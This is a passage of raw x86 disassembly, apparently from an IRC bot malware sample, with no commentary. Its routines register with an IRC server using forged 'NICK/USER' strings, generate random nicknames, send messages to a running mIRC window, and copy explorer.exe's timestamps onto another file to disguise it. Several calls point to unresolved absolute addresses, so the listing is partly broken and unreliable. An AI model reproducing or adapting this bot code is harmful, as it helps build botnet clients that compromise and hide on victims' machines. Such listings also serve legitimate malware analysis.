		retn
sub_4177D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BB	proc near		; DATA XREF: sub_417A60+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D46F4[esi]
		mov	dword_4D46E8[esi], edi
		push	dword_4D48F4[esi]
		push	eax
		call	sub_417703
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D46EC[esi], eax
		jb	loc_417A40
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADE
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADE
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADE
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D46EC[esi]
		call	dword_4CB6A4
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_417997:				; CODE XREF: sub_4178BB+111j
					; sub_4178BB+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D46EC[esi]
		call	dword_4CB66C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A40
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417997


loc_4179CE:				; CODE XREF: sub_4178BB+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F5
		cmp	al, 0Ah
		jz	short loc_4179F5
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F5
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2F
; ---------------------------------------------------------------------------


loc_4179F5:				; CODE XREF: sub_4178BB+11Cj
					; sub_4178BB+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2F
		push	dword_4D46EC[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A40
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417A2F:				; CODE XREF: sub_4178BB+138j
					; sub_4178BB+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CE
		jmp	loc_417997
; ---------------------------------------------------------------------------


loc_417A40:				; CODE XREF: sub_4178BB+40j
					; sub_4178BB+107j ...
		mov	dword_4D46E8[esi], ebx
		mov	esi, dword_4D46EC[esi]
		cmp	esi, ebx
		jbe	short loc_417A57
		push	esi
		call	dword_4CB6EC


loc_417A57:				; CODE XREF: sub_4178BB+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A60	proc near		; CODE XREF: sub_401ACD+31E2p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD9


loc_417A72:				; CODE XREF: sub_417A60+77j
		xor	edi, edi
		mov	eax, offset dword_4D46E8


loc_417A79:				; CODE XREF: sub_417A60+28j
		cmp	[eax], ebx
		jz	short loc_417A8A
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DAE08
		jl	short loc_417A79


loc_417A8A:				; CODE XREF: sub_417A60+1Bj
		cmp	edi, 31h
		jz	short loc_417AD9
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D46F4[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D48F4[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D46E8[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BB
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A72


loc_417AD9:				; CODE XREF: sub_417A60+10j
					; sub_417A60+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADE	proc near		; CODE XREF: sub_401ACD+374Ep
					; sub_401ACD+3794p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B28
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_4385E8[edx*4]
		jmp	short loc_417B41
; ---------------------------------------------------------------------------


loc_417B28:				; CODE XREF: sub_417ADE+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_4382E8[edx*4]


loc_417B41:				; CODE XREF: sub_417ADE+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB4
		cmp	esi, 3
		jnz	short loc_417BAB
		cmp	ebx, 1
		jz	short loc_417BB4


loc_417BAB:				; CODE XREF: sub_417ADE+C6j
		cmp	eax, 1
		jnz	loc_417C6E


loc_417BB4:				; CODE XREF: sub_417ADE+C1j
					; sub_417ADE+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		push	off_4385E8[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5B
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5B
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5B
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E0
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_417C5B:				; CODE XREF: sub_417ADE+111j
					; sub_417ADE+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch


loc_417C6E:				; CODE XREF: sub_417ADE+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED6
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCD
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDC
		cmp	eax, 1
		jnz	loc_417DCD


loc_417CDC:				; CODE XREF: sub_417ADE+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1E
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E0
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D3A
; ---------------------------------------------------------------------------


loc_417D1E:				; CODE XREF: sub_417ADE+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_417D3A:				; CODE XREF: sub_417ADE+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D63
		cmp	eax, ebx
		jnz	short loc_417DCD


loc_417D63:				; CODE XREF: sub_417ADE+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA8
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E0
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC6
; ---------------------------------------------------------------------------


loc_417DA8:				; CODE XREF: sub_417ADE+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_417DC6:				; CODE XREF: sub_417ADE+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_417DCD:				; CODE XREF: sub_417ADE+1C9j
					; sub_417ADE+1F8j ...
		cmp	esi, 6
		jge	loc_417E56
		cmp	esi, 5
		jge	short loc_417DEE
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E8
		jmp	short loc_417E0C
; ---------------------------------------------------------------------------


loc_417DEE:				; CODE XREF: sub_417ADE+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0


loc_417E0C:				; CODE XREF: sub_417ADE+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2F
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4C
; ---------------------------------------------------------------------------


loc_417E2F:				; CODE XREF: sub_417ADE+335j
		cmp	eax, 1
		jnz	short loc_417E56
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		mov	cl, 41h


loc_417E4C:				; CODE XREF: sub_417ADE+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_417E56:				; CODE XREF: sub_417ADE+2F2j
					; sub_417ADE+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED6
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED6
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED6
		cmp	[ebp+var_C], eax
		jge	short loc_417ED6
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B0
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_417ED6:				; CODE XREF: sub_417ADE+1B1j
					; sub_417ADE+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEF	proc near		; CODE XREF: sub_401ACD+BECp
					; sub_401ACD+C29p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F7A
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F7A
		cmp	[ebp+arg_8], esi
		jz	short loc_417F7A
		cmp	byte ptr [eax],	0
		jz	short loc_417F7A
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F75
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6E
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi


loc_417F6E:				; CODE XREF: sub_417EEF+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx


loc_417F75:				; CODE XREF: sub_417EEF+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7C
; ---------------------------------------------------------------------------


loc_417F7A:				; CODE XREF: sub_417EEF+Cj
					; sub_417EEF+13j ...
		xor	eax, eax


loc_417F7C:				; CODE XREF: sub_417EEF+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F80	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F1p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB6
		or	eax, 0FFFFFFFFh
		jmp	short loc_418029
; ---------------------------------------------------------------------------


loc_417FB6:				; CODE XREF: sub_417F80+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD8


loc_417FC2:				; CODE XREF: sub_417F80+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCF
		cmp	dl, 0Dh
		jnz	short loc_417FD3


loc_417FCF:				; CODE XREF: sub_417F80+48j
		and	byte ptr [ecx+esi], 0


loc_417FD3:				; CODE XREF: sub_417F80+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC2


loc_417FD8:				; CODE XREF: sub_417F80+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418009
		lea	edi, [ebp+var_7CC]


loc_417FE5:				; CODE XREF: sub_417F80+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418004
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418004
		cmp	ebx, 1F4h
		jge	short loc_418009
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418004:				; CODE XREF: sub_417F80+69j
					; sub_417F80+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE5


loc_418009:				; CODE XREF: sub_417F80+5Dj
					; sub_417F80+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418027
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch


loc_418027:				; CODE XREF: sub_417F80+8Ej
		mov	eax, ebx


loc_418029:				; CODE XREF: sub_417F80+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802D	proc near		; CODE XREF: sub_418087+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418066
		push	ebx
		mov	ebx, edi


loc_41804A:				; CODE XREF: sub_41802D+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418069
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_41804A
		pop	ebx


loc_418066:				; CODE XREF: sub_41802D+18j
		pop	edi
		pop	esi
		retn
sub_41802D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418069	proc near		; CODE XREF: sub_41802D+25p
					; sub_418087+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418084
		cmp	al, 7Ah
		jg	short loc_418084
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_418084:				; CODE XREF: sub_418069+Ej
					; sub_418069+12j
		xor	eax, eax
		retn
sub_418069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418087	proc near		; CODE XREF: ___:0041532Ep

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802D
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_4180C5:				; CODE XREF: sub_418087+B6j
		test	esi, esi
		jle	short loc_418143
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813B


loc_4180EB:				; CODE XREF: sub_418087+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418069
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810C
		mov	eax, ecx


loc_41810C:				; CODE XREF: sub_418087+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813F
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EB


loc_41813B:				; CODE XREF: sub_418087+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C5
; ---------------------------------------------------------------------------


loc_41813F:				; CODE XREF: sub_418087+8Aj
		xor	eax, eax
		jmp	short loc_418148
; ---------------------------------------------------------------------------


loc_418143:				; CODE XREF: sub_418087+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418148:				; CODE XREF: sub_418087+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814D	proc near		; CODE XREF: sub_401ACD+67A4p
					; sub_401ACD+789Fp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2680867h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 27C0000h
		lea	eax, [ebp+var_100]


loc_418186:				; CODE XREF: sub_41814D+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418192
		cmp	cl, 9
		jnz	short loc_418195


loc_418192:				; CODE XREF: sub_41814D+3Ej
		inc	eax
		jmp	short loc_418186
; ---------------------------------------------------------------------------


loc_418195:				; CODE XREF: sub_41814D+43j
					; sub_41814D+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AF
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418195
		cmp	cl, 21h
		jl	short loc_418195


loc_4181AF:				; CODE XREF: sub_41814D+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DAE0C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D7	proc near		; CODE XREF: sub_401ACD+24CBp
		push	esi
		push	0
		call	dword_4CB624
		test	eax, eax
		jz	short loc_41820E
		push	1
		call	dword_4CB644
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820E
		push	edi
		push	esi
		call	near ptr 27D0650h
		nop
		push	esi
		mov	edi, eax
		nop
		call	near ptr 27D0000h
		call	dword_4CB6A8
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41820E:				; CODE XREF: sub_4181D7+Bj
					; sub_4181D7+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_418212	proc near		; CODE XREF: sub_401ACD+7662p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CB660
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828E
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 27E01C4h
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 27E0000h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CB6B0
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CB6B0
		push	ebx
		nop
		call	near ptr 27D0C8Dh
		push	edi
		nop
		call	near ptr 26608E3h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_418290
; ---------------------------------------------------------------------------


loc_41828E:				; CODE XREF: sub_418212+16j
		xor	eax, eax


loc_418290:				; CODE XREF: sub_418212+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418294	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB710
		test	eax, eax
		jz	short loc_418333
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418333
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	near ptr 27F0000h
		nop
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418333
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 27E0803h
		push	esi
		call	ebx


loc_418333:				; CODE XREF: sub_418294+2Aj
					; sub_418294+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418294	endp


; =============== S U B	R O U T	I N E =======================================



